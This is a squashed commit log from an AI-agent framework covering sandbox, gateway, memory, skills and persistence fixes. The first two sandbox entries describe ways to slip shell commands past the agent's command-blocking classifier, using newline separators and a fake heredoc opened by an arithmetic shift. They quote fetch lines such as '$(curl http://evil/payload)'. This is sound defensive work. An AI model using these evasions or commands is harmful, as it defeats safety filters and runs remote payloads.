* fix(sandbox): split on newlines, and keep heredoc bodies out of it
An unquoted newline separates statements exactly like ';', but the splitter
never split on it and normalization collapsed it to a space before the
'^'-anchored rules ran, so identical shell semantics got opposite verdicts:
echo hi; $(curl u) -> block
echo hi<newline>$(curl u) -> pass
Block on main, pass here -- so the PR description's 'newline-separated
statements ... were not detected before this change' was wrong. It holds for
'. <(curl u)' process substitution, which passed on main too; it does not hold
for this. Third instance of one root cause: replacing an unanchored .search
with anchored per-sub-command matching releases every context the splitter does
not model (argument position, backtick spelling, statement separator).
Splitting on newlines alone would then manufacture command positions the shell
never creates -- a heredoc body line beginning with $(curl url) is file
content, not a command. So headers are recorded as they are read and their
bodies consumed verbatim at the newline that opens them. '<<<' is a here-string
and opens nothing; both a lookahead and a lookbehind are needed, or the
trailing '<<' of '<<< "text"' reads as a heredoc with delimiter 'text'.
The header regex is tried only at '<', which keeps this off every other
character: without the guard a 10KB command went 313ms -> 505ms. A realistic
20KB heredoc file write classifies in ~13ms.
Reported by @willem-bd on #4623.
* fix(sandbox): do not read an arithmetic shift as a heredoc header
The heredoc heuristic fired on any unquoted '<<', so a bit shift whose right
operand is an identifier opened a phantom heredoc:
offset=$(( idx << shift ))
$(curl http://evil/payload)
Delimiter 'shift' never appears, so the unterminated body consumed the rest of
the string, the second line was never split into its own sub-command, and the
anchored rule never saw it -- reopening the newline evasion the previous commit
closed, and a regression against main.
Track arithmetic depth alongside the quote flags and skip header detection
while it is positive. Covers the bare arithmetic command '(( ... ))' too, not
just '$(( ... ))': it evades identically and a $-only guard would miss it. A
digit right operand ('$((1<<8))') never had the problem, since a delimiter
cannot start with one; both spellings are pinned so they cannot drift.
An unclosed '((' leaves the depth positive, which only disables heredoc
detection -- newlines keep splitting, so the failure direction stays towards
seeing more command positions rather than fewer.
Reported by @willem-bd on #4623.
* fix(gateway): unify thread ID validation at the API boundary
Thread ID entry points accepted arbitrary strings while downstream
consumers (filesystem paths, Kubernetes Provisioner, JSONL event store)
each enforced different character restrictions, so invalid IDs were
persisted first and only failed later during sandbox/workspace init.
Centralize validation in deerflow.utils.thread_id (pattern
^[A-Za-z0-9_-]{1,64}$): validate at routers, RunCreateRequest,
scheduler dispatch, paths.py, JSONL store, embedded client, and align
the Provisioner pattern (pinned by a parity test). UUIDs are still
generated only when no ID is supplied; caller-supplied opaque IDs stay
supported.
Deliberate exceptions: DELETE /threads/{id} keeps str as the legacy
cleanup escape hatch (filesystem cleanup guarded), read-only
client.get_thread stays unvalidated, and scheduler rows with legacy
invalid IDs record a failed dispatch instead of raising out of the
poll loop.
* docs: document canonical thread ID contract
README: caller-supplied thread IDs need not be UUIDs; the canonical
pattern and per-endpoint behavior. AGENTS.md: the shared
deerflow.utils.thread_id contract, its enforcement boundaries, and the
legacy-ID escape hatches.
* fix(gateway): close thread ID validation gaps at remaining entry points
Follow-up to the canonical thread ID contract: a full audit found the
uniform-422 coverage only reached about half of the thread_id surfaces.
- routers: 18 routes still took a bare thread_id: str — 13 in
thread_runs.py (including the five messages/events/workspace-changes
reads that returned 500 on the JSONL event store vs 404/empty on the
DB store), 4 read routes in threads.py, and the suggestions route
flagged in review. DELETE /api/threads/{id} keeps str as the declared
legacy-cleanup escape hatch.
- client: upload_files/delete_upload/list_uploads/get_artifact now
validate up front, fulfilling the RFC's 'all mutating entry points'
clause (get_thread stays unvalidated as the declared legacy read path).
- tui: the /resume literal-ref fallback validates against the canonical
contract and reports a descriptive error instead of failing deep in
the client.
- scripts/support_bundle.py: replace the drifted dot-allowing pattern
with a byte-identical copy of THREAD_ID_PATTERN (kept local so the
script still runs with a broken venv).
* test(gateway): guard the canonical thread ID contract against regressions
- test_thread_id_route_contract.py: static AST sweep asserting every
route handler with a thread_id parameter annotates ThreadId
(whitelist: the DELETE escape hatch), plus a runtime sweep hitting
all 44 thread_id routes with a non-canonical ID and asserting a 422
that names thread_id, plus a websocket upgrade-rejection case.
- test_thread_id_validation.py: client entry-point validation,
support_bundle pattern parity, and TUI literal-ref fallback tests.
- Align two tests that encoded the old contract (dotted IDs).
* feat(artifacts): inline editing for text artifacts in the panel
Add a PUT /api/threads/{id}/artifacts/{path} endpoint that atomically
replaces an existing UTF-8 text file under /mnt/user-data/outputs after
verifying its SHA-256 revision. Active runs conflict (409); binary,
symlink, oversized, and non-output paths are rejected.
Frontend: edit/save/discard buttons, draft state with conflict detection,
CodeEditor onChange/onSave, loader SHA-256 from ETag, i18n, beforeunload guard.
Backend: PUT endpoint with thread reservation, atomic temp-file replacement,
sandbox sync for non-mounted providers, rollback on failure, ETag on GET.
Tests: 8 backend + 1 blocking-IO + 3 frontend test files.
* fix(artifacts): scope replacement permissions and release sandboxes
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(memory): truncate mem0 context injection on entry boundaries
Mem0Manager.get_context built the injection block and then hard-cut it
at max_injection_chars, which could sever the last memory mid-line and
leave a dangling partial entry in the agent prompt.
Accumulate whole entries against the remaining budget instead: a
memory that does not fit is skipped (a shorter later one may still
fit). When not even the first memory fits, fall back to the previous
hard-truncation behavior for that single entry rather than injecting
nothing.
Tests: entry-boundary truncation, skip-oversized-keep-later, and the
oversized-first-entry fallback.
* fix(memory): keep entry-boundary guarantee when no mem0 memory fits
Follow-up to PR #4600 review: remove the hard-truncation fallback that
could inject a partial memory when max_injection_chars is smaller than
every recalled entry. Instead return empty context and log a warning that
surfaced the undersized budget.
* feat: show real-time context window usage in chat UI (#3125)
Adds a `context_usage` block to `GET /api/threads/{id}/token-usage`
(token count from the live checkpoint, the thread model's
`context_window`, and a percentage), introduces a new
`ModelConfig.context_window` distinct from the per-call `max_tokens`
output cap, and surfaces the percentage in the chat header — inside
`TokenUsageIndicator` when token-usage tracking is on, or as a
standalone badge when it's off so context capacity stays visible
independent of cost tracking.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
* feat: per-category breakdown for context window usage
Replace the single-number context_usage payload with a Claude-Code-style
breakdown — messages, system prompt, skills, system/MCP tools (active +
deferred), custom agents, memory injection, autocompact buffer, and free
space — and surface it in the chat UI with a segmented progress bar and
per-row table.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
* docs(config): document context_window across model examples
Add `context_window` to every example model in config.example.yaml so the
new chat-UI "% context used" indicator works out of the box for whichever
example a user adopts. Each value is the published default at the time of
writing; users are pointed at the official model spec to verify. Bumps
config_version to 11 so `make config-upgrade` flags outdated user configs.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
* style: ruff format (line-length 240)
No behavior change — collapses two multi-line expressions that fit on
one line under the project's 240-char limit. Picked up by `make format`.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
* review: address Copilot bot comments on #3183
- token-usage-indicator: switch `{contextPercentage && (...)}` to an
explicit `!= null` check. (The string `"0"` is actually truthy in JS so
the original code wasn't buggy, but the explicit check is clearer.)
- context-usage-breakdown: drop the `useMemo` around segments/totals — the
computation is O(n) over a handful of rows and the previous memo deps
omitted `t.contextUsage.categories`, so the bar's tooltips/aria-labels
could stay in the old language after a locale switch.
- context_usage._split_tools: snapshot MCP names from
`get_cached_mcp_tools()` directly instead of re-reading
`extensions_config.json` after `get_available_tools()` already loaded
it. Removes redundant file I/O on every `/token-usage` poll.
(`get_available_tools()` still emits its own INFO logs — silencing
those is out of scope here.)
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
* style(frontend): prettier --write context-usage-breakdown
CI's `pnpm format` (prettier --check) caught two lines previously
formatted by hand. Collapses one comma to fit on one line; no behavior
change.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
* fix(gateway): correct context-usage breakdown + add exact token counting
The context-usage indicator shipped two bugs that silently zeroed whole
breakdown rows (both caught by try/except, so the feature looked alive but
produced wrong numbers):
1. _count_system_prompt passed app_config= to get_deferred_tools_prompt_section,
which only accepts deferred_names -> TypeError swallowed -> system_prompt
row always 0, and used_tokens/percentage undercounted by the full prompt.
Also subtracted the deferred section twice (the rendered prompt already
excluded it). Fix: derive deferred names deterministically and pass them to
apply_prompt_template; drop the redundant subtraction.
2. _split_tools imported a non-existent get_deferred_registry -> ImportError
swallowed -> all four tool-category rows always 0. Fix: classify via the
public is_mcp_tool predicate + tool_search.enabled (mirrors
build_deferred_tool_setup); the MCP tag is set by get_available_tools.
Added token_usage.counting (approximate|exact). 'exact' routes text/schema/
message counting through the model tokenizer (tiktoken cl100k_base) via the
existing memory-module machinery (lazy load + cache + cooldown + CJK-aware
fallback), so CJK-heavy threads stop being undercounted by chars//4.
Regression + e2e tests added; 6621 backend tests pass.
* fix(gateway): harden context usage accounting
* fix(gateway): count promoted MCP tools as active in context usage
Promoted tools (deferred MCP tools the thread has fetched via tool_search)
have their full schema bound on every subsequent turn by
DeferredToolFilterMiddleware, so they consume context like any active tool.
The breakdown previously left them in the reserved *_deferred rows, under-
counting the thread's used_tokens.
Classification now treats a tool as deferred only when tool_search is enabled,
it is MCP-sourced, AND it has not been promoted. The promoted set is read from
the checkpoint's channel_values and scoped by catalog hash — matching the
runtime middleware, so a stale promotion from MCP-config drift cannot inflate
the active count.
The static system prompt still lists all deferred tool names (promotions only
affect schema binding, not the prompt), so _count_system_prompt's deferred
rendering is intentionally left unchanged.
8 new tests cover classification, catalog-hash scoping (match / drift /
compute-failure / malformed), and checkpoint extraction.
* fix(context): address review feedback
* fix(context): count structured message payloads
* fix(context): harden usage accounting
* fix(config): bump schema for context usage fields
* refactor: narrow context usage to core indicator
---------
Co-authored-by: Claude Opus 4.7 <noreply@anthropic.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(memory): reject duplicate facts inside the create critical section
memory_add's duplicate check ran outside the storage critical section
(the tools.py comment called this out): two concurrent tool calls for
the same user could both pass the check and both store the same fact.
Move authoritative duplicate rejection into
MemoryUpdater.create_memory_fact: the candidate's normalized content
key is checked against the fresh memory snapshot on every
revision-conflict retry, so the loser of a concurrent create reloads,
sees the winner's fact, and is rejected with ValueError("Duplicate
fact"). The tool-layer pre-check stays as a fast path.
The REST router now maps the duplicate ValueError to 409 with a clear
detail instead of the misleading "content cannot be empty" 400.
Tests: backend-level duplicate rejection, a simulated
concurrent-commit-during-conflict-retry race, and the router 409
mapping.
* fix(memory): retry legacy-path fact creation on save conflict
Wrap the legacy single-file save in the same bounded conflict-retry
loop as the apply_changes path: reload the fresh snapshot and re-run
_raise_if_duplicate_fact_content on every retry, so a concurrent
duplicate commit is rejected with ValueError("Duplicate fact") (tool
error / REST 409) instead of the generic OSError save failure
(REST 500). No-duplicate conflicts now retry and store instead of
failing the create.
Addresses review feedback on bytedance/deer-flow#4599.
* fix(sandbox): project enabled skills into sandbox views
* fix(skills): keep projection mutations consistent
* fix(skills): fail closed on projection errors
* fix(skills): isolate per-scope failures during boot projection rebuild
rebuild_all_skill_projections() propagated any exception from the public
rebuild or from a single user's rebuild straight out of the gateway
lifespan startup, uncaught. A single broken user directory (bad
permissions, corrupted _skill_states.json, unreadable content) would
therefore abort gateway boot for every user, not just that one -
_rebuild_*_locked already fails closed internally (clears the view and
re-raises), so the boot loop only needed to stop treating that re-raise
as fatal.
Each scope's rebuild now fails closed independently and boot continues;
a scope left empty by a boot failure self-heals on the next sandbox
acquire via ensure_skill_projections().
Also patches deerflow.skills.projection.rebuild_all_skill_projections in
the memory-flush lifespan test fixture, matching the two sibling
fixtures in the same file — this call is now on the lifespan startup
path and the fixture's minimal SimpleNamespace config predates it.
* test(skills): update authz test for the projection-aware public toggle
_persist_shared_skill_state (introduced earlier in this branch) reads
the shared extensions_config.json fresh from disk under the projection
lock instead of through the cached get_extensions_config() singleton -
that's the whole point of the fix (stale worker caches must not clobber
another worker's concurrent update). The name no longer exists on the
skills router module, so the test's monkeypatch of it started raising
AttributeError instead of exercising the endpoint.
The mock storage in this test isn't a real LocalSkillStorage instance,
so _persist_shared_skill_state's projection-mutation branch is already
skipped (nullcontext) and it falls back to a fresh ExtensionsConfig()
for the nonexistent tmp config_path - no replacement monkeypatch needed.
* fix(sandbox): make skill projection ensure best-effort in acquire
acquire() called _ensure_skills_projection() directly, outside any
try/except, in both LocalSandboxProvider and AioSandboxProvider. Every
other skill-mount setup path in these providers has always caught
exceptions and logged a warning rather than failing sandbox acquire
outright (e.g. when config.yaml can't be resolved) - these two new call
sites broke that contract, so any projection failure (including simply
not having a config.yaml, as in CI's test environment) now failed
acquire() itself instead of just leaving skill mounts off.
_ensure_skills_projection now catches its own exceptions and returns
None; both providers' callers already tolerate that (a None projection
skips the skill-specific mounts, matching the existing degrade path)
after making _append_public_skill_mapping and the custom/legacy mount
block in LocalSandboxProvider explicitly None-safe.
Caught by running the full suite with config.yaml removed, matching
CI's environment - not caught locally because a real config.yaml was
present, masking the failure.
* fix(sandbox): make E2B skill projection mounts best-effort
_skill_projection_mounts called ensure_skill_projections with no guard,
unlike Local/AIO's _ensure_skills_projection. A raise propagated out of
_apply_mounts before the configured-mounts loop ran, so a skills
projection failure dropped the operator's own configured mounts too -
only caught by create()'s outer warning, with nothing applied at all.
Swallow here and return an empty mount list on failure, matching the
Local/AIO pattern: still fail-closed for skills, but no longer widens
the blast radius to unrelated configured mounts.
Review feedback from PR #4178.
* docs(skills): document projection trade-offs flagged in review
- _update_tree_digest: note the metadata-only (not content) hashing
trade-off and why runtime writes through this codebase are still
covered regardless (rebuild-under-lock + rename always changes inode).
- LocalSandboxProvider.acquire: note the acquire-time self-heal cost
(cheap on a fresh manifest, ~400ms rebuild under lock on stale/drift).
- skill_projection_mutation: drop the no-op except-Exception-then-raise;
a raise from the mutation already propagates past the yield with the
view left cleared, no explicit re-raise needed.
- provisioner README: spell out that hostPath skills volumes require
the gateway and K8s node to share DEER_FLOW_HOST_BASE_DIR (single-node
or shared storage), and that the custom/legacy volumes' hostPath type
Directory (not DirectoryOrCreate) makes a violation of that assumption
a visible Pod-creation failure instead of a silent empty mount.
Review feedback from PR #4178.
* fix(skills): lazily repair user projections
* fix(skills): close projection review gaps
* fix(skills): refresh user projection enable state
* fix(skills): close projection review follow-ups
* fix(skills): preserve state across projection writes
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
The once branch of next_run_at returned the run time with the task's
local timezone offset attached, while the cron branch normalizes to UTC.
The value is persisted into scheduled_tasks.next_run_at, and SQLAlchemy's
SQLite dialect discards tzinfo on bind, so a once task declared in a
non-UTC timezone fires shifted by the whole offset (e.g. 8 hours late
for Asia/Shanghai, hours early for negative offsets - also bypassing the
min_once_delay_seconds guard). Postgres timestamptz normalizes on write,
which is why only SQLite deployments are affected.
Align the once branch with the cron branch by converting to UTC before
returning.
* feat(runtime): seed empty run-event feed from checkpoint history
Threads created before the journaled run-event model hold their history
only in the LangGraph checkpoint. Before the first journaled run, backfill
an empty run-event message feed from the existing checkpoint head so
legacy history receives earlier thread-global seq numbers and remains
visible in the unified feed. Threads with no checkpoint or an already
populated feed skip the path.
The seed guard resolves the user explicitly instead of relying on the
store's AUTO default, which raises without a user contextvar (scheduler
launch path on the DB event store).
* docs: document checkpoint history seeding in thread runs
Before the first journaled run, an empty run-event message feed is
seeded from an existing checkpoint head so legacy checkpoint-only
history stays visible with earlier thread-global sequence numbers.
* fix(gateway): make checkpoint-history seed guard thread-scoped
The emptiness guard filtered by the current user whenever one was in
context, answering "does this user have any messages?" rather than
"has this thread's feed ever been journaled?". Seed rows stamped with
a different principal (NULL for ownerless seeds, or another user on a
shared NULL-owner thread) were invisible to the guard, so each new
principal re-seeded a duplicate history. Pass user_id=None
unconditionally; None also opts out of AUTO resolution, so the
ownerless scheduler path still cannot raise.
Adds a DbRunEventStore-backed regression test (the MemoryRunEventStore
tests cannot catch this — the memory store ignores user_id) proving the
ownerless-seed -> authenticated-run sequence seeds exactly once.
* feat(persistence): support custom postgres schema
* fix(persistence): address CI lint/test failures and review feedback
- Map missing psycopg import to actionable POSTGRES_INSTALL guidance in
sync/async schema-creation helpers
- Accept SQLAlchemy compound DSN schemes (postgresql+asyncpg) when
injecting search_path, normalizing to a libpq-consumable DSN
- Guard keyword-DSN tests with importorskip so they skip without psycopg
- Set database=None in sync checkpointer none-fix test to avoid MagicMock
backend resolution
- Apply ruff import sort and format
* fix(persistence): address pg-schema review feedback
- Restrict postgres_schema regex to lowercase-only so the quoted CREATE
SCHEMA matches the unquoted search_path (PG case-folds it), fixing the
mixed-case bug where tables silently fell back to public.
- Replace shlex.join/split with libpq-correct backslash escaping for the
options parameter so values containing spaces survive intact.
- Add normalize_libpq_dsn() and route the async checkpointer pool through
dsn_with_search_path() so a +asyncpg suffix is stripped and existing DSN
options (e.g. statement_timeout) are merged instead of overridden.
- Extract shared ensure_postgres_schema()/ensure_postgres_schema_async()
helpers (mapping missing psycopg to the install hint) used by all four
provider sites.
- Tests: reject mixed-case schemas, preserve space-containing libpq option,
cover normalize_libpq_dsn, and assert pool search_path via DSN.
* fix(persistence): align pg-schema test with merged store API
The main merge moved the sync Store factory to the single-path
_resolve_store_config/_sync_store_cm design, dropping the PR's
_sync_store_from_database helper. The integration test still imported
the removed symbol, breaking test collection (backend-unit-tests).
Resolve the store config from a DatabaseConfig and drive it through
_sync_store_cm instead.
* fix(persistence): address pg-schema review feedback
- reject trailing/leading whitespace in postgres_schema via re.fullmatch
(a $-anchored re.match let "deerflow\n" through, silently landing tables
in public)
- re-escape all whitespace (TAB/CR/LF) when re-joining libpq options so a
caller's pre-existing options value round-trips losslessly
- re-validate the identifier inside create_schema_sql as defense-in-depth
at the SQL-emitting boundary
- accept the postgres:// short scheme in the alembic search_path injection
- close the sync psycopg connection explicitly (psycopg3 __exit__ does not
close()), mirroring the async path
- drop the partial checkpointer/store reset on a database config change;
database is restart-required and the ORM engine is not rebuilt, so a
partial reset would half-migrate the deployment
* docs(config): complete the postgres_schema migration checklist
Address PR review (P1): the documented `public`->schema migration only
moved runs, run_events, threads_meta, feedback, and users. That strands
every other DeerFlow-owned table -- the four channel_* tables, both
scheduled_* tables, agents, and (critically) alembic_version -- in
`public`. On restart bootstrap treats the partially-populated target
schema as unversioned, re-baselines it, and replays migrations while the
real rows stay invisible in `public`.
List the full owned set explicitly, call out alembic_version as required,
and keep the "discover the rest" query for version-drift safety.
* refactor(checkpointer): drop test-only _sync_checkpointer_from_database
Address PR review: the helper was only reached by the env-gated
integration test and re-implemented the DatabaseConfig->CheckpointerConfig
backend resolution that _resolve_checkpointer_config already owns, so a
future backend added there would silently miss this path. Mirror the store
side of the same test, which reuses the production path directly:
_resolve_checkpointer_config(...) + _sync_checkpointer_cm(...).
* fix(sandbox): claim ownership before readiness-timeout destroy (#4248)
When a freshly-created sandbox fails to become ready within the 60s timeout, _create_sandbox / _create_sandbox_async destroyed the container with a bare self._backend.destroy(info) call. Ownership is published by _register_created_sandbox only after the readiness gate, so for the whole timeout window the container ran unowned — exactly the state a peer gateway startup reconciliation is built to adopt across. With the claim skipped, a peer could adopt the not-yet-ready Pod and this instance subsequent stop landed on the turn the peer had just handed it: a cross-instance kill of an active turn.
Route the destroy through a new _destroy_unready_sandbox helper that first claims the teardown lease (claim(..., for_destroy=True) writes the del: marker) and holds it via _held_teardown_lease for the duration of the stop, matching the ownership guard every other reap path already uses (_destroy_warm_entry, _drop_unhealthy_reserved). Fail closed if a peer already holds the lease or the ownership store cannot answer: leave the container for the peer own reconciliation rather than stopping it from underneath an active turn.
Fixes#4248.
* fix(sandbox): reserve local teardown around readiness-timeout destroy
Review feedback (AnnaSuSu) on #4505: the ownership claim is only the
cross-instance half of the guard — claim() succeeds against our own
lease by design, so in the window between the readiness timeout and the
claim a same-process _reconcile_orphans (idle checker, every 60s) can
adopt the unready container into _warm_pool; the subsequent claim still
succeeds and the stop lands on an entry this instance has just adopted,
leaving a dead warm entry for the next reclaim to hand out.
Wrap the still-untracked check, claim, and stop in
_reserve_local_teardown / _finish_local_teardown, with the predicate
checking the id is absent from the active and warm maps — the same
pairing _destroy_warm_entry already uses.
Add an interleaving regression test mirroring
test_reconcile_does_not_adopt_a_container_this_instance_is_tearing_down:
reconcile runs while the destroy thread is parked after reserving but
before its `del:` claim lands, and must not adopt. A mirror test
asserts a genuinely unowned container is still adopted when no teardown
is in flight, so the reservation cannot over-block reconciliation.
* style(sandbox): apply ruff format to readiness-timeout destroy changes
---------
Co-authored-by: now-ing <24534365+now-ing@users.noreply.github.com>
* fix(skills): offload update_skill's blocking IO and share the config write lock
Re-applied on top of main rather than merged: update_skill has since gained
admin gating, user-scoped storage and a PUBLIC vs CUSTOM/LEGACY split, so the
offload is applied per path.
- PUBLIC: the extensions_config.json read-modify-write (path resolve, snapshot,
merge, write, reload) moves to a worker thread via asyncio.to_thread. The
payload is built from a snapshot so the cached singleton is never mutated in
place while the write is still in flight.
- CUSTOM/LEGACY: set_skill_enabled_state is offloaded; the non-user-scoped
fallback takes the same shared-file RMW path as PUBLIC.
- Both load_skills calls (and storage construction) are offloaded.
The RMW lock now lives next to reload_extensions_config as
get_extensions_config_write_lock() and is acquired by both the skills router and
the MCP router, which performs the same read-modify-write on the same file.
Previously each router held its own module-local lock, so once both sides
offloaded, a PUT /api/mcp/config could run inside a skill toggle's read->write
window and the later write would silently drop the other's change.
The lock is keyed by the running event loop rather than being a module-level
singleton: asyncio primitives bind to the first loop that awaits them, which
makes a plain module-level lock unusable in a process that runs more than one
loop.
Adds a cross-router regression anchor asserting a skill toggle and an MCP update
never overlap inside the RMW (max in-flight 1); it observes 2 when the routers
use separate locks.
* fix(config): own the extensions_config RMW lock from the worker thread
An asyncio.Lock held around `await asyncio.to_thread(...)` protects only the
awaiting task. If that task is cancelled the context manager releases the lock
immediately while Python keeps running the worker thread, so a second skills or
MCP writer could acquire it and operate on extensions_config.json concurrently
with the first worker — reopening the lost-update window this was meant to close.
The per-event-loop keying had a second hole: writers on different loops got
different locks and so did not exclude each other at all.
Replace it with a process-wide threading.Lock acquired *inside* the worker that
performs the RMW (`_write_extensions_skill_state` and `_apply_mcp_config_update`),
so ownership belongs to the thread doing the writing and is held until the write
and reload actually finish, regardless of what happens to the caller. A
threading.Lock also has no event-loop affinity.
Adds a cancellation regression: the skills worker is paused inside the lock, its
route task is cancelled, and the MCP writer is started — the MCP RMW must not
enter until the skills worker is released. Against the previous asyncio-lock
design this test fails with ['skills-enter', 'mcp-enter'].
The two existing serialization tests instrumented by replacing the worker
functions, which now bypasses the lock under test; they instead patch inside the
real workers (each module's reload_extensions_config, the last step under the
lock) so the production lock is exercised.
---------
Co-authored-by: ly-wang19 <ly-wang19@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(sandbox): unwrap Overwrite-wrapped state in ensure_sandbox_initialized
The same fork-restored wrapper that crashed after_agent also reaches the sandbox init path, where sandbox_state.get() on the Overwrite object raises AttributeError. Share the unwrap helper from #4381's follow-up module deerflow/sandbox/overwrite.py and apply it at both init sites.
Signed-off-by: Yufeng He <40085740+he-yufeng@users.noreply.github.com>
* fix(sandbox): note why discarding fork_restored at the reuse sites is safe
* fix(sandbox): unify the Overwrite unwrap helper and pin the fall-through
- middleware.py now imports unwrap_sandbox from overwrite.py instead of
keeping a second local copy whose docstring had already drifted; the
shared helper covers both crash forms (subscript TypeError and the
.get()-form AttributeError)
- test the acquire fall-through: when the fork-restored id is gone from
the provider, a fresh sandbox is acquired and the stale wrapped state
is replaced by the plain acquired dict
- the reuse-path test now also asserts runtime.state["sandbox"] stays
wrapped, pinning the don't-treat-as-owned contract after_agent relies on
Signed-off-by: Yufeng He <40085740+he-yufeng@users.noreply.github.com>
* fix(sandbox): unwrap Overwrite state in the sibling sandbox readers
Signed-off-by: Yufeng He <40085740+he-yufeng@users.noreply.github.com>
---------
Signed-off-by: Yufeng He <40085740+he-yufeng@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
